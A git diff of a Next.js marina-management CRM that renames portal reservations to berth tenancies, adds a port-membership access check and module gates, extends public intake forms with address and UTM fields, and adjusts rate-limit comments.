|
* navigate cross-site after sign-in. Only allow same-origin paths
|
||||||
* scoped to the portal surface — anything else falls back to the
|
* scoped to the portal surface - anything else falls back to the
|
||||||
* dashboard.
|
* dashboard.
|
||||||
*/
|
*/
|
||||||
function safeNextPath(raw: string | null): string {
|
function safeNextPath(raw: string | null): string {
|
||||||
@@ -30,7 +30,10 @@ function safeNextPath(raw: string | null): string {
|
|||||||
export default function PortalLoginPage() {
|
export default function PortalLoginPage() {
|
||||||
const router = useRouter();
|
const router = useRouter();
|
||||||
const search = useSearchParams();
|
const search = useSearchParams();
|
||||||
const next = safeNextPath(search.get('next'));
|
// The middleware backstop (src/proxy.ts) redirects unauthenticated
|
||||||
|
// portal visitors with `?redirect=`; older links / manual callers may
|
||||||
|
// still use `?next=`. Accept either, preferring `redirect`.
|
||||||
|
const next = safeNextPath(search.get('redirect') ?? search.get('next'));
|
||||||
|
|
||||||
const [email, setEmail] = useState('');
|
const [email, setEmail] = useState('');
|
||||||
const [password, setPassword] = useState('');
|
const [password, setPassword] = useState('');
|
||||||
|
|||||||
@@ -3,10 +3,10 @@ import { CalendarCheck } from 'lucide-react';
|
|||||||
import type { Metadata } from 'next';
|
import type { Metadata } from 'next';
|
||||||
|
|
||||||
import { getPortalSession } from '@/lib/portal/auth';
|
import { getPortalSession } from '@/lib/portal/auth';
|
||||||
import { getPortalUserReservations } from '@/lib/services/portal.service';
|
import { getPortalUserTenancies } from '@/lib/services/portal.service';
|
||||||
import { Badge } from '@/components/ui/badge';
|
import { Badge } from '@/components/ui/badge';
|
||||||
|
|
||||||
export const metadata: Metadata = { title: 'My Reservations' };
|
export const metadata: Metadata = { title: 'My Tenancies' };
|
||||||
|
|
||||||
const STATUS_COLORS: Record<string, 'default' | 'secondary' | 'destructive' | 'outline'> = {
|
const STATUS_COLORS: Record<string, 'default' | 'secondary' | 'destructive' | 'outline'> = {
|
||||||
pending: 'secondary',
|
pending: 'secondary',
|
||||||
@@ -29,30 +29,30 @@ function formatDate(d: Date | string): string {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
export default async function PortalMyReservationsPage() {
|
export default async function PortalMyTenanciesPage() {
|
||||||
const session = await getPortalSession();
|
const session = await getPortalSession();
|
||||||
if (!session) redirect('/portal/login');
|
if (!session) redirect('/portal/login');
|
||||||
|
|
||||||
const reservations = await getPortalUserReservations(session.clientId, session.portId);
|
const tenancies = await getPortalUserTenancies(session.clientId, session.portId);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="space-y-6">
|
<div className="space-y-6">
|
||||||
<div>
|
<div>
|
||||||
<h1 className="text-2xl font-semibold text-gray-900">My Reservations</h1>
|
<h1 className="text-2xl font-semibold text-gray-900">My Tenancies</h1>
|
||||||
<p className="text-sm text-gray-500 mt-1">Your current and pending berth reservations</p>
|
<p className="text-sm text-gray-500 mt-1">Your current and pending berth tenancies</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{reservations.length === 0 ? (
|
{tenancies.length === 0 ? (
|
||||||
<div className="bg-white rounded-lg border p-12 text-center">
|
<div className="bg-white rounded-lg border p-12 text-center">
|
||||||
<CalendarCheck className="h-10 w-10 text-gray-300 mx-auto mb-3" />
|
<CalendarCheck className="h-10 w-10 text-gray-300 mx-auto mb-3" />
|
||||||
<p className="text-gray-500 font-medium">No active reservations</p>
|
<p className="text-gray-500 font-medium">No active tenancies</p>
|
||||||
<p className="text-sm text-gray-400 mt-1">
|
<p className="text-sm text-gray-400 mt-1">
|
||||||
Contact your port representative to discuss reservations.
|
Contact your port representative to discuss tenancies.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
) : (
|
) : (
|
||||||
<div className="space-y-3">
|
<div className="space-y-3">
|
||||||
{reservations.map((r) => (
|
{tenancies.map((r) => (
|
||||||
<div key={r.id} className="bg-white rounded-lg border p-5">
|
<div key={r.id} className="bg-white rounded-lg border p-5">
|
||||||
<div className="flex items-start justify-between gap-4">
|
<div className="flex items-start justify-between gap-4">
|
||||||
<div className="flex-1 min-w-0">
|
<div className="flex-1 min-w-0">
|
||||||
@@ -1,11 +1,12 @@
|
|||||||
import type { Metadata, Viewport } from 'next';
|
import type { Metadata, Viewport } from 'next';
|
||||||
import { redirect } from 'next/navigation';
|
import { notFound, redirect } from 'next/navigation';
|
||||||
import { headers } from 'next/headers';
|
import { headers } from 'next/headers';
|
||||||
import { eq } from 'drizzle-orm';
|
import { and, eq } from 'drizzle-orm';
|
||||||
|
|
||||||
import { auth } from '@/lib/auth';
|
import { auth } from '@/lib/auth';
|
||||||
import { db } from '@/lib/db';
|
import { db } from '@/lib/db';
|
||||||
import { ports as portsTable } from '@/lib/db/schema/ports';
|
import { ports as portsTable } from '@/lib/db/schema/ports';
|
||||||
|
import { userPortRoles, userProfiles } from '@/lib/db/schema/users';
|
||||||
import { QueryProvider } from '@/providers/query-provider';
|
import { QueryProvider } from '@/providers/query-provider';
|
||||||
import { PortProvider } from '@/providers/port-provider';
|
import { PortProvider } from '@/providers/port-provider';
|
||||||
|
|
||||||
@@ -60,7 +61,22 @@ export default async function ScannerLayout({
|
|||||||
const port = await db.query.ports.findFirst({
|
const port = await db.query.ports.findFirst({
|
||||||
where: eq(portsTable.slug, portSlug),
|
where: eq(portsTable.slug, portSlug),
|
||||||
});
|
});
|
||||||
if (!port) redirect('/login');
|
if (!port) notFound();
|
||||||
|
|
||||||
|
// Membership gate (mirrors the dashboard layout): super admins reach
|
||||||
|
// every port; everyone else needs an explicit user_port_roles row for
|
||||||
|
// THIS port. Without this the scanner resolved the port by slug alone,
|
||||||
|
// so any authenticated user could scan receipts into a port they have
|
||||||
|
// no role on.
|
||||||
|
const profile = await db.query.userProfiles.findFirst({
|
||||||
|
where: eq(userProfiles.userId, session.user.id),
|
||||||
|
});
|
||||||
|
if (!profile?.isSuperAdmin) {
|
||||||
|
const membership = await db.query.userPortRoles.findFirst({
|
||||||
|
where: and(eq(userPortRoles.userId, session.user.id), eq(userPortRoles.portId, port.id)),
|
||||||
|
});
|
||||||
|
if (!membership) notFound();
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<QueryProvider>
|
<QueryProvider>
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ const upstream = toNextJsHandler(auth);
|
|||||||
/**
|
/**
|
||||||
* Wrap better-auth's `[...all]` handler so we can stamp the audit log on
|
* Wrap better-auth's `[...all]` handler so we can stamp the audit log on
|
||||||
* authentication events. Better-auth itself doesn't fire any callback we
|
* authentication events. Better-auth itself doesn't fire any callback we
|
||||||
* can hook on sign-in / sign-out / failed-login — we inspect the route
|
* can hook on sign-in / sign-out / failed-login - we inspect the route
|
||||||
* + response status after the upstream handler finishes.
|
* + response status after the upstream handler finishes.
|
||||||
*
|
*
|
||||||
* Successful sign-in → action 'login' (severity info)
|
* Successful sign-in → action 'login' (severity info)
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ const bodySchema = z.object({
|
|||||||
});
|
});
|
||||||
|
|
||||||
export async function POST(req: NextRequest): Promise<NextResponse> {
|
export async function POST(req: NextRequest): Promise<NextResponse> {
|
||||||
// 10/hour/IP — bounds brute-force against either token store.
|
// 10/hour/IP - bounds brute-force against either token store.
|
||||||
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
||||||
if (limited) return limited;
|
if (limited) return limited;
|
||||||
|
|
||||||
@@ -26,7 +26,7 @@ export async function POST(req: NextRequest): Promise<NextResponse> {
|
|||||||
// `auth.api.resetPassword` (rotates the password on an existing
|
// `auth.api.resetPassword` (rotates the password on an existing
|
||||||
// user).
|
// user).
|
||||||
// Try the CRM-invite path first. If the token isn't in that table
|
// Try the CRM-invite path first. If the token isn't in that table
|
||||||
// (NotFoundError), fall through to better-auth — these are mutually
|
// (NotFoundError), fall through to better-auth - these are mutually
|
||||||
// exclusive token spaces, so at most one will accept it.
|
// exclusive token spaces, so at most one will accept it.
|
||||||
try {
|
try {
|
||||||
const result = await consumeCrmInvite({ token, password });
|
const result = await consumeCrmInvite({ token, password });
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ async function resolveToEmail(identifier: string): Promise<string | null> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export async function POST(req: NextRequest) {
|
export async function POST(req: NextRequest) {
|
||||||
// Rate-limit on IP — same 5/15min bucket the sign-in endpoint uses.
|
// Rate-limit on IP - same 5/15min bucket the sign-in endpoint uses.
|
||||||
const ip = clientIp(req);
|
const ip = clientIp(req);
|
||||||
const rl = await checkRateLimit(ip, rateLimiters.auth);
|
const rl = await checkRateLimit(ip, rateLimiters.auth);
|
||||||
if (!rl.allowed) {
|
if (!rl.allowed) {
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ const bodySchema = z.object({
|
|||||||
});
|
});
|
||||||
|
|
||||||
export async function POST(req: NextRequest): Promise<NextResponse> {
|
export async function POST(req: NextRequest): Promise<NextResponse> {
|
||||||
// 10/hour/IP — bounds brute-force against the 32-byte activation token.
|
// 10/hour/IP - bounds brute-force against the 32-byte activation token.
|
||||||
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
||||||
if (limited) return limited;
|
if (limited) return limited;
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import { requestPasswordReset } from '@/lib/services/portal-auth.service';
|
|||||||
const bodySchema = z.object({ email: z.string().email() });
|
const bodySchema = z.object({ email: z.string().email() });
|
||||||
|
|
||||||
export async function POST(req: NextRequest): Promise<NextResponse> {
|
export async function POST(req: NextRequest): Promise<NextResponse> {
|
||||||
// 3/hour/IP — tightest of the portal limiters because each successful
|
// 3/hour/IP - tightest of the portal limiters because each successful
|
||||||
// call sends an outbound email and timing differences here are the
|
// call sends an outbound email and timing differences here are the
|
||||||
// primary email-enumeration vector.
|
// primary email-enumeration vector.
|
||||||
const limited = await enforcePublicRateLimit(req, 'portalForgot');
|
const limited = await enforcePublicRateLimit(req, 'portalForgot');
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ const bodySchema = z.object({
|
|||||||
});
|
});
|
||||||
|
|
||||||
export async function POST(req: NextRequest): Promise<NextResponse> {
|
export async function POST(req: NextRequest): Promise<NextResponse> {
|
||||||
// 10/hour/IP — bounds brute-force against the 32-byte reset token.
|
// 10/hour/IP - bounds brute-force against the 32-byte reset token.
|
||||||
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
const limited = await enforcePublicRateLimit(req, 'portalToken');
|
||||||
if (limited) return limited;
|
if (limited) return limited;
|
||||||
|
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ export async function POST(req: NextRequest): Promise<NextResponse> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Per-(ip,email) bucket: 5 attempts / 15min. Keyed on email-lowercase so
|
// Per-(ip,email) bucket: 5 attempts / 15min. Keyed on email-lowercase so
|
||||||
// the limiter is per-account-per-IP, not just per-IP — a NATed network
|
// the limiter is per-account-per-IP, not just per-IP - a NATed network
|
||||||
// shouldn't be able to lock a single victim by burning their bucket.
|
// shouldn't be able to lock a single victim by burning their bucket.
|
||||||
const limited = await enforcePublicRateLimit(
|
const limited = await enforcePublicRateLimit(
|
||||||
req,
|
req,
|
||||||
|
|||||||
@@ -5,9 +5,11 @@ import { db } from '@/lib/db';
|
|||||||
import { ports } from '@/lib/db/schema/ports';
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
import { berths, berthMapData } from '@/lib/db/schema/berths';
|
import { berths, berthMapData } from '@/lib/db/schema/berths';
|
||||||
import { interestBerths, interests } from '@/lib/db/schema/interests';
|
import { interestBerths, interests } from '@/lib/db/schema/interests';
|
||||||
|
import { berthTenancies } from '@/lib/db/schema/tenancies';
|
||||||
import { errorResponse } from '@/lib/errors';
|
import { errorResponse } from '@/lib/errors';
|
||||||
import { logger } from '@/lib/logger';
|
import { logger } from '@/lib/logger';
|
||||||
import { toPublicBerth } from '@/lib/services/public-berths';
|
import { isTenanciesModuleEnabled } from '@/lib/services/tenancies-module.service';
|
||||||
|
import { isPermanentTenureType, toPublicBerth } from '@/lib/services/public-berths';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* GET /api/public/berths/[mooringNumber]
|
* GET /api/public/berths/[mooringNumber]
|
||||||
@@ -105,7 +107,32 @@ export async function GET(
|
|||||||
.limit(1),
|
.limit(1),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const out = toPublicBerth(berth, mapData[0] ?? null, specificInterestRows.length > 0);
|
// Tenancies-module status flip: an active permanent-class tenancy
|
||||||
|
// pushes the berth to "Sold" when the module is enabled for this port.
|
||||||
|
let hasActivePermanentTenancy = false;
|
||||||
|
if (await isTenanciesModuleEnabled(port.id)) {
|
||||||
|
const activeTenancy = await db
|
||||||
|
.select({ tenureType: berthTenancies.tenureType })
|
||||||
|
.from(berthTenancies)
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(berthTenancies.portId, port.id),
|
||||||
|
eq(berthTenancies.berthId, berth.id),
|
||||||
|
eq(berthTenancies.status, 'active'),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.limit(1);
|
||||||
|
hasActivePermanentTenancy = activeTenancy.some((row) =>
|
||||||
|
isPermanentTenureType(row.tenureType),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const out = toPublicBerth(
|
||||||
|
berth,
|
||||||
|
mapData[0] ?? null,
|
||||||
|
specificInterestRows.length > 0,
|
||||||
|
hasActivePermanentTenancy,
|
||||||
|
);
|
||||||
|
|
||||||
if (out.Status !== 'Available' && out.Status !== 'Under Offer' && out.Status !== 'Sold') {
|
if (out.Status !== 'Available' && out.Status !== 'Under Offer' && out.Status !== 'Sold') {
|
||||||
logger.error({ berthId: berth.id, status: out.Status }, 'Public berth status out of range');
|
logger.error({ berthId: berth.id, status: out.Status }, 'Public berth status out of range');
|
||||||
|
|||||||
@@ -5,9 +5,15 @@ import { db } from '@/lib/db';
|
|||||||
import { ports } from '@/lib/db/schema/ports';
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
import { berths, berthMapData } from '@/lib/db/schema/berths';
|
import { berths, berthMapData } from '@/lib/db/schema/berths';
|
||||||
import { interestBerths, interests } from '@/lib/db/schema/interests';
|
import { interestBerths, interests } from '@/lib/db/schema/interests';
|
||||||
|
import { berthTenancies } from '@/lib/db/schema/tenancies';
|
||||||
import { errorResponse } from '@/lib/errors';
|
import { errorResponse } from '@/lib/errors';
|
||||||
import { logger } from '@/lib/logger';
|
import { logger } from '@/lib/logger';
|
||||||
import { toPublicBerth, type PublicBerth } from '@/lib/services/public-berths';
|
import { isTenanciesModuleEnabled } from '@/lib/services/tenancies-module.service';
|
||||||
|
import {
|
||||||
|
isPermanentTenureType,
|
||||||
|
toPublicBerth,
|
||||||
|
type PublicBerth,
|
||||||
|
} from '@/lib/services/public-berths';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* GET /api/public/berths
|
* GET /api/public/berths
|
||||||
@@ -72,7 +78,7 @@ export async function GET(request: Request): Promise<Response> {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 1. Active berths for the port — retired moorings are hidden via
|
// 1. Active berths for the port - retired moorings are hidden via
|
||||||
// the archived_at soft-delete column (migration 0065).
|
// the archived_at soft-delete column (migration 0065).
|
||||||
const berthRows = await db
|
const berthRows = await db
|
||||||
.select()
|
.select()
|
||||||
@@ -109,8 +115,35 @@ export async function GET(request: Request): Promise<Response> {
|
|||||||
const mapByBerth = new Map(mapRows.map((m) => [m.berthId, m]));
|
const mapByBerth = new Map(mapRows.map((m) => [m.berthId, m]));
|
||||||
const specificInterestSet = new Set(specificInterestRows.map((r) => r.berthId));
|
const specificInterestSet = new Set(specificInterestRows.map((r) => r.berthId));
|
||||||
|
|
||||||
|
// Tenancies module: per-port flag. When enabled, an active tenancy
|
||||||
|
// with a permanent-class tenure type pushes a berth to "Sold" in the
|
||||||
|
// public feed (per docs/tenancies-design.md §"Public map status flip").
|
||||||
|
// When disabled, the lookup is skipped entirely — preserves the
|
||||||
|
// pre-module behaviour for ports that haven't opted in.
|
||||||
|
const permanentTenancyBerthIds = new Set<string>();
|
||||||
|
if (await isTenanciesModuleEnabled(port.id)) {
|
||||||
|
const activeTenancyRows = await db
|
||||||
|
.select({ berthId: berthTenancies.berthId, tenureType: berthTenancies.tenureType })
|
||||||
|
.from(berthTenancies)
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(berthTenancies.portId, port.id),
|
||||||
|
eq(berthTenancies.status, 'active'),
|
||||||
|
inArray(berthTenancies.berthId, berthIds),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
for (const row of activeTenancyRows) {
|
||||||
|
if (isPermanentTenureType(row.tenureType)) permanentTenancyBerthIds.add(row.berthId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const list = berthRows.map((b) =>
|
const list = berthRows.map((b) =>
|
||||||
toPublicBerth(b, mapByBerth.get(b.id) ?? null, specificInterestSet.has(b.id)),
|
toPublicBerth(
|
||||||
|
b,
|
||||||
|
mapByBerth.get(b.id) ?? null,
|
||||||
|
specificInterestSet.has(b.id),
|
||||||
|
permanentTenancyBerthIds.has(b.id),
|
||||||
|
),
|
||||||
);
|
);
|
||||||
|
|
||||||
// Validate the response enum before returning - any unknown status
|
// Validate the response enum before returning - any unknown status
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ function gifResponse(): NextResponse {
|
|||||||
headers: {
|
headers: {
|
||||||
'Content-Type': 'image/gif',
|
'Content-Type': 'image/gif',
|
||||||
'Content-Length': String(TRANSPARENT_GIF.length),
|
'Content-Length': String(TRANSPARENT_GIF.length),
|
||||||
// Tell every upstream cache to keep its hands off — we count opens
|
// Tell every upstream cache to keep its hands off - we count opens
|
||||||
// on the FETCH itself, so any cached response is a missed open.
|
// on the FETCH itself, so any cached response is a missed open.
|
||||||
'Cache-Control': 'no-store, no-cache, must-revalidate, private',
|
'Cache-Control': 'no-store, no-cache, must-revalidate, private',
|
||||||
Pragma: 'no-cache',
|
Pragma: 'no-cache',
|
||||||
@@ -62,7 +62,7 @@ export async function GET(
|
|||||||
const userAgent = req.headers.get('user-agent');
|
const userAgent = req.headers.get('user-agent');
|
||||||
const referer = req.headers.get('referer');
|
const referer = req.headers.get('referer');
|
||||||
|
|
||||||
// Best-effort write — never block the pixel response on a slow DB.
|
// Best-effort write - never block the pixel response on a slow DB.
|
||||||
// The pixel must return promptly so email clients render normally.
|
// The pixel must return promptly so email clients render normally.
|
||||||
db.insert(documentSendOpens)
|
db.insert(documentSendOpens)
|
||||||
.values({
|
.values({
|
||||||
@@ -85,7 +85,7 @@ export async function GET(
|
|||||||
});
|
});
|
||||||
|
|
||||||
// Cross-post to Umami so the marketing funnel includes opens. Don't
|
// Cross-post to Umami so the marketing funnel includes opens. Don't
|
||||||
// await — fire-and-forget so the pixel response stays fast.
|
// await - fire-and-forget so the pixel response stays fast.
|
||||||
trackEvent(
|
trackEvent(
|
||||||
sendRow.portId,
|
sendRow.portId,
|
||||||
'email-opened',
|
'email-opened',
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import { errorResponse, NotFoundError } from '@/lib/errors';
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Public, unauthenticated stream-by-id for branding assets only. Used by
|
* Public, unauthenticated stream-by-id for branding assets only. Used by
|
||||||
* outbound email templates and the branded auth shell — surfaces where
|
* outbound email templates and the branded auth shell - surfaces where
|
||||||
* the consumer can't authenticate (an inbox image fetch has no session
|
* the consumer can't authenticate (an inbox image fetch has no session
|
||||||
* cookie). The `category = 'branding'` gate ensures only assets the
|
* cookie). The `category = 'branding'` gate ensures only assets the
|
||||||
* admin explicitly uploaded as port branding leak through this surface;
|
* admin explicitly uploaded as port branding leak through this surface;
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ import { logger } from '@/lib/logger';
|
|||||||
* the marketing site uses on startup AND what k8s readiness
|
* the marketing site uses on startup AND what k8s readiness
|
||||||
* probes should hit, because it returns 503 on hard dep failures.
|
* probes should hit, because it returns 503 on hard dep failures.
|
||||||
*
|
*
|
||||||
* The dep checks (DB SELECT 1, Redis PING) run on every request — they
|
* The dep checks (DB SELECT 1, Redis PING) run on every request - they
|
||||||
* are <5ms each. If either fails, the response is 503 so a load balancer
|
* are <5ms each. If either fails, the response is 503 so a load balancer
|
||||||
* stops routing to this instance.
|
* stops routing to this instance.
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ async function gateRateLimit(ip: string): Promise<void> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// POST /api/public/interests — unauthenticated public interest registration.
|
// POST /api/public/interests - unauthenticated public interest registration.
|
||||||
// The transactional trio creation (client + yacht + interest, plus optional
|
// The transactional trio creation (client + yacht + interest, plus optional
|
||||||
// company + membership) lives in `createPublicInterest()` so it's testable
|
// company + membership) lives in `createPublicInterest()` so it's testable
|
||||||
// without an HTTP fixture. This handler is the thin HTTP shell: rate-limit,
|
// without an HTTP fixture. This handler is the thin HTTP shell: rate-limit,
|
||||||
@@ -57,7 +57,7 @@ export async function POST(req: NextRequest) {
|
|||||||
yachtId: result.yachtId,
|
yachtId: result.yachtId,
|
||||||
companyId: result.companyId,
|
companyId: result.companyId,
|
||||||
source: 'website',
|
source: 'website',
|
||||||
pipelineStage: 'open',
|
pipelineStage: 'enquiry',
|
||||||
berthId: result.berthId,
|
berthId: result.berthId,
|
||||||
},
|
},
|
||||||
metadata: { type: 'public_registration', ip },
|
metadata: { type: 'public_registration', ip },
|
||||||
@@ -81,6 +81,12 @@ export async function POST(req: NextRequest) {
|
|||||||
firstName: result.firstName,
|
firstName: result.firstName,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// L34 carve-out note: this is a public website intake POST (external
|
||||||
|
// contract). Unlike the sibling intake routes it already uses the
|
||||||
|
// canonical `{ data }` envelope — the external marketing site is
|
||||||
|
// coded against THIS shape, so keep `{ data: { id, message } }` and do
|
||||||
|
// not "normalize" it toward the bespoke `{ success }`/bare shapes used
|
||||||
|
// by the other public intake endpoints.
|
||||||
return NextResponse.json(
|
return NextResponse.json(
|
||||||
{ data: { id: result.interestId, message: 'Interest registered successfully' } },
|
{ data: { id: result.interestId, message: 'Interest registered successfully' } },
|
||||||
{ status: 201 },
|
{ status: 201 },
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import {
|
|||||||
import { resolveSubject } from '@/lib/email/resolve-subject';
|
import { resolveSubject } from '@/lib/email/resolve-subject';
|
||||||
import { getBrandingShell } from '@/lib/email/branding-resolver';
|
import { getBrandingShell } from '@/lib/email/branding-resolver';
|
||||||
import { getPortBrandingConfig, getPortEmailConfig } from '@/lib/services/port-config';
|
import { getPortBrandingConfig, getPortEmailConfig } from '@/lib/services/port-config';
|
||||||
|
import { assertResidentialModuleEnabled } from '@/lib/services/residential-module.service';
|
||||||
import { env } from '@/lib/env';
|
import { env } from '@/lib/env';
|
||||||
import { parseBody } from '@/lib/api/route-helpers';
|
import { parseBody } from '@/lib/api/route-helpers';
|
||||||
import { errorResponse, RateLimitError, ValidationError } from '@/lib/errors';
|
import { errorResponse, RateLimitError, ValidationError } from '@/lib/errors';
|
||||||
@@ -61,6 +62,12 @@ export async function POST(req: NextRequest) {
|
|||||||
throw new ValidationError('Unknown port');
|
throw new ValidationError('Unknown port');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Reject when the port has the Residential module turned off — a
|
||||||
|
// disabled port shouldn't silently accept residential leads it can't
|
||||||
|
// see in the CRM. Throws NotFoundError → 404 (mirrors the v1 route
|
||||||
|
// + entity-tab gates for the other module toggles).
|
||||||
|
await assertResidentialModuleEnabled(portId);
|
||||||
|
|
||||||
// If the website didn't pre-normalize, parse server-side. International
|
// If the website didn't pre-normalize, parse server-side. International
|
||||||
// strings parse without a hint; national-format submissions need a country.
|
// strings parse without a hint; national-format submissions need a country.
|
||||||
let phoneE164 = data.phoneE164 ?? null;
|
let phoneE164 = data.phoneE164 ?? null;
|
||||||
@@ -121,6 +128,11 @@ export async function POST(req: NextRequest) {
|
|||||||
crmDeepLink: `${env.APP_URL}/${port.slug}/residential/clients/${result.clientId}`,
|
crmDeepLink: `${env.APP_URL}/${port.slug}/residential/clients/${result.clientId}`,
|
||||||
}).catch((err) => logger.error({ err }, 'Failed to send residential inquiry notifications'));
|
}).catch((err) => logger.error({ err }, 'Failed to send residential inquiry notifications'));
|
||||||
|
|
||||||
|
// L34 carve-out: deliberate bespoke `{ success: true, ... }` shape
|
||||||
|
// (NOT the `{ data }` envelope). This is the public website's intake
|
||||||
|
// contract — the external marketing site reads `success` and the
|
||||||
|
// returned ids off the JSON root, mirroring the public portal-auth
|
||||||
|
// endpoints. Changing the shape would be a breaking cross-repo change.
|
||||||
return NextResponse.json({ success: true, ...result }, { status: 201 });
|
return NextResponse.json({ success: true, ...result }, { status: 201 });
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
return errorResponse(error);
|
return errorResponse(error);
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import { loadByToken, applySubmission } from '@/lib/services/supplemental-forms.
|
|||||||
import { errorResponse } from '@/lib/errors';
|
import { errorResponse } from '@/lib/errors';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Public — no auth. Loads the prefill data for the form. The token in
|
* Public - no auth. Loads the prefill data for the form. The token in
|
||||||
* the URL is the only credential; rejects expired / unknown tokens with
|
* the URL is the only credential; rejects expired / unknown tokens with
|
||||||
* 404 (deliberately conflated to avoid leaking which tokens exist).
|
* 404 (deliberately conflated to avoid leaking which tokens exist).
|
||||||
*/
|
*/
|
||||||
@@ -28,6 +28,11 @@ export async function GET(
|
|||||||
const submissionSchema = z.object({
|
const submissionSchema = z.object({
|
||||||
fullName: z.string().min(1).max(200),
|
fullName: z.string().min(1).max(200),
|
||||||
address: z.string().max(500).nullable().optional(),
|
address: z.string().max(500).nullable().optional(),
|
||||||
|
city: z.string().max(120).nullable().optional(),
|
||||||
|
/** ISO-3166-2 subdivision code (e.g. 'PL-MZ'). Accept up to 8 chars
|
||||||
|
* so we cover ISO codes that include alpha-3 country prefixes. */
|
||||||
|
subdivisionIso: z.string().max(8).nullable().optional(),
|
||||||
|
postalCode: z.string().max(20).nullable().optional(),
|
||||||
country: z.string().length(2).nullable().optional(),
|
country: z.string().length(2).nullable().optional(),
|
||||||
email: z.string().email().nullable().optional(),
|
email: z.string().email().nullable().optional(),
|
||||||
phoneE164: z
|
phoneE164: z
|
||||||
@@ -52,6 +57,9 @@ export async function POST(
|
|||||||
await applySubmission(token, {
|
await applySubmission(token, {
|
||||||
fullName: body.fullName,
|
fullName: body.fullName,
|
||||||
address: body.address ?? null,
|
address: body.address ?? null,
|
||||||
|
city: body.city ?? null,
|
||||||
|
subdivisionIso: body.subdivisionIso ?? null,
|
||||||
|
postalCode: body.postalCode ?? null,
|
||||||
country: body.country ?? null,
|
country: body.country ?? null,
|
||||||
email: body.email ?? null,
|
email: body.email ?? null,
|
||||||
phoneE164: body.phoneE164 ?? null,
|
phoneE164: body.phoneE164 ?? null,
|
||||||
|
|||||||
@@ -49,6 +49,14 @@ const SubmissionSchema = z.object({
|
|||||||
/** Defaults to port-nimara since that's currently the only port with a
|
/** Defaults to port-nimara since that's currently the only port with a
|
||||||
* public marketing site. Future ports can override per-submission. */
|
* public marketing site. Future ports can override per-submission. */
|
||||||
port_slug: z.string().default('port-nimara'),
|
port_slug: z.string().default('port-nimara'),
|
||||||
|
/** UTM attribution. Opportunistic — the website's tracker pulls
|
||||||
|
* these from the query string (or referrer) at submit time. Capped
|
||||||
|
* at 200 chars per part to defend against pathological strings. */
|
||||||
|
utm_source: z.string().max(200).nullable().optional(),
|
||||||
|
utm_medium: z.string().max(200).nullable().optional(),
|
||||||
|
utm_campaign: z.string().max(200).nullable().optional(),
|
||||||
|
utm_term: z.string().max(200).nullable().optional(),
|
||||||
|
utm_content: z.string().max(200).nullable().optional(),
|
||||||
});
|
});
|
||||||
|
|
||||||
function verifySecret(header: string | null): boolean {
|
function verifySecret(header: string | null): boolean {
|
||||||
@@ -92,7 +100,7 @@ export async function POST(req: NextRequest) {
|
|||||||
return errorResponse(new RateLimitError(retryAfter));
|
return errorResponse(new RateLimitError(retryAfter));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse + validate body. Reject anything that doesn't conform — the
|
// Parse + validate body. Reject anything that doesn't conform - the
|
||||||
// website is a known caller; a malformed payload signals tampering.
|
// website is a known caller; a malformed payload signals tampering.
|
||||||
let parsed;
|
let parsed;
|
||||||
try {
|
try {
|
||||||
@@ -142,6 +150,11 @@ export async function POST(req: NextRequest) {
|
|||||||
legacyNocodbId: parsed.legacy_nocodb_id ?? null,
|
legacyNocodbId: parsed.legacy_nocodb_id ?? null,
|
||||||
sourceIp: ip,
|
sourceIp: ip,
|
||||||
userAgent: req.headers.get('user-agent') ?? null,
|
userAgent: req.headers.get('user-agent') ?? null,
|
||||||
|
utmSource: parsed.utm_source ?? null,
|
||||||
|
utmMedium: parsed.utm_medium ?? null,
|
||||||
|
utmCampaign: parsed.utm_campaign ?? null,
|
||||||
|
utmTerm: parsed.utm_term ?? null,
|
||||||
|
utmContent: parsed.utm_content ?? null,
|
||||||
})
|
})
|
||||||
.onConflictDoNothing({ target: websiteSubmissions.submissionId })
|
.onConflictDoNothing({ target: websiteSubmissions.submissionId })
|
||||||
.returning({ id: websiteSubmissions.id });
|
.returning({ id: websiteSubmissions.id });
|
||||||
@@ -156,6 +169,11 @@ export async function POST(req: NextRequest) {
|
|||||||
},
|
